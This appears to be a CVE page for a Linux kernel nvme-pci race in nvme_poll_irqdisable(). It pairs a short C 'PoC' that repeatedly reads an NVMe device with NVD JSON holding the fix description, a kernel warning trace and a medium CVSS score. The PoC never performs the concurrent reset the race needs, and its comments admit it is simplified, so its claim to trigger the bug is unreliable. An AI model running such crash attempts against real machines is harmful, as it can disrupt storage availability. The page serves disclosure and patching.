CVE-2026-43448

/* * PoC for CVE-2026-43448 * This code attempts to stress the NVMe device to trigger the race condition. * Successful exploitation requires precise timing between IO and reset. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #define BLKRRPART _IO(0x12,95) int main() { const char* device = "/dev/nvme0n1"; int fd = open(device, O_RDONLY); if (fd < 0) { perror("Failed to open NVMe device"); return 1; } printf("Starting NVMe stress test to trigger race condition...\n"); char buffer[4096]; // Perform continuous reads to trigger IO paths and potential timeouts for (int i = 0; i < 10000; i++) { lseek(fd, 0, SEEK_SET); read(fd, buffer, sizeof(buffer)); // In a real exploit scenario, one would try to trigger resets // concurrently or inject faults to hit nvme_reset_work. // This is a simplified representation of the trigger context. } close(fd); printf("PoC execution finished. Check dmesg for IRQ warnings.\n"); return 0; }

{"cve": {"id": "CVE-2026-43448", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:57.323", "lastModified": "2026-05-21T17:00:53.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme-pci: Fix race bug in nvme_poll_irqdisable()\n\nIn the following scenario, pdev can be disabled between (1) and (3) by\n(2). This sets pdev->msix_enabled = 0. Then, pci_irq_vector() will\nreturn MSI-X IRQ(>15) for (1) whereas return INTx IRQ(<=15) for (2).\nThis causes IRQ warning because it tries to enable INTx IRQ that has\nnever been disabled before.\n\nTo fix this, save IRQ number into a local variable and ensure\ndisable_irq() and enable_irq() operate on the same IRQ number. Even if\npci_free_irq_vectors() frees the IRQ concurrently, disable_irq() and\nenable_irq() on a stale IRQ number is still valid and safe, and the\ndepth accounting reamins balanced.\n\ntask 1:\nnvme_poll_irqdisable()\n disable_irq(pci_irq_vector(pdev, nvmeq->cq_vector)) ...(1)\n enable_irq(pci_irq_vector(pdev, nvmeq->cq_vector)) ...(3)\n\ntask 2:\nnvme_reset_work()\n nvme_dev_disable()\n pdev->msix_enable = 0; ...(2)\n\ncrash log:\n\n------------[ cut here ]------------\nUnbalanced enable for IRQ 10\nWARNING: kernel/irq/manage.c:753 at __enable_irq+0x102/0x190 kernel/irq/manage.c:753, CPU#1: kworker/1:0H/26\nModules linked in:\nCPU: 1 UID: 0 PID: 26 Comm: kworker/1:0H Not tainted 6.19.0-dirty #9 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014\nWorkqueue: kblockd blk_mq_timeout_work\nRIP: 0010:__enable_irq+0x107/0x190 kernel/irq/manage.c:753\nCode: ff df 48 89 fa 48 c1 ea 03 0f b6 14 02 48 89 f8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 79 48 8d 3d 2e 7a 3f 05 41 8b 74 24 2c <67> 48 0f b9 3a e8 ef b9 21 00 5b 41 5c 5d e9 46 54 66 03 e8 e1 b9\nRSP: 0018:ffffc900001bf550 EFLAGS: 00010046\nRAX: 0000000000000007 RBX: 0000000000000000 RCX: ffffffffb20c0e90\nRDX: 0000000000000000 RSI: 000000000000000a RDI: ffffffffb74b88f0\nRBP: ffffc900001bf560 R08: ffff88800197cf00 R09: 0000000000000001\nR10: 0000000000000003 R11: 0000000000000003 R12: ffff8880012a6000\nR13: 1ffff92000037eae R14: 000000000000000a R15: 0000000000000293\nFS: 0000000000000000(0000) GS:ffff8880b49f7000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000555da4a25fa8 CR3: 00000000208e8000 CR4: 00000000000006f0\nCall Trace:\n <TASK>\n enable_irq+0x121/0x1e0 kernel/irq/manage.c:797\n nvme_poll_irqdisable+0x162/0x1c0 drivers/nvme/host/pci.c:1494\n nvme_timeout+0x965/0x14b0 drivers/nvme/host/pci.c:1744\n blk_mq_rq_timed_out block/blk-mq.c:1653 [inline]\n blk_mq_handle_expired+0x227/0x2d0 block/blk-mq.c:1721\n bt_iter+0x2fc/0x3a0 block/blk-mq-tag.c:292\n __sbitmap_for_each_set include/linux/sbitmap.h:269 [inline]\n sbitmap_for_each_set include/linux/sbitmap.h:290 [inline]\n bt_for_each block/blk-mq-tag.c:324 [inline]\n blk_mq_queue_tag_busy_iter+0x969/0x1e80 block/blk-mq-tag.c:536\n blk_mq_timeout_work+0x627/0x870 block/blk-mq.c:1763\n process_one_work+0x956/0x1aa0 kernel/workqueue.c:3257\n process_scheduled_works kernel/workqueue.c:3340 [inline]\n worker_thread+0x65c/0xe60 kernel/workqueue.c:3421\n kthread+0x41a/0x930 kernel/kthread.c:463\n ret_from_fork+0x6f8/0x8c0 arch/x86/kernel/process.c:158\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246\n </TASK>\nirq event stamp: 74478\nhardirqs last enabled at (74477): [<ffffffffb5720a9c>] __raw_spin_unlock_irq include/linux/spinlock_api_smp.h:159 [inline]\nhardirqs last enabled at (74477): [<ffffffffb5720a9c>] _raw_spin_unlock_irq+0x2c/0x60 kernel/locking/spinlock.c:202\nhardirqs last disabled at (74478): [<ffffffffb57207b5>] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:108 [inline]\nhardirqs last disabled at (74478): [<ffffffffb57207b5>] _raw_spin_lock_irqsave+0x85/0xa0 kernel/locking/spinlock.c:162\nsoftirqs last enabled at (74304): [<ffffffffb1e9466c>] __do_softirq kernel/softirq.c:656 [inline]\nsoftirqs last enabled at (74304): [<ffffffffb1e9466c>] invoke_softirq kernel/softirq.c:496 [inline]\nsoftirqs last enabled at (74304): [<ffffffffb1e9466c>] __irq_exit_rcu+0xdc/0x120\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": f ... (truncated)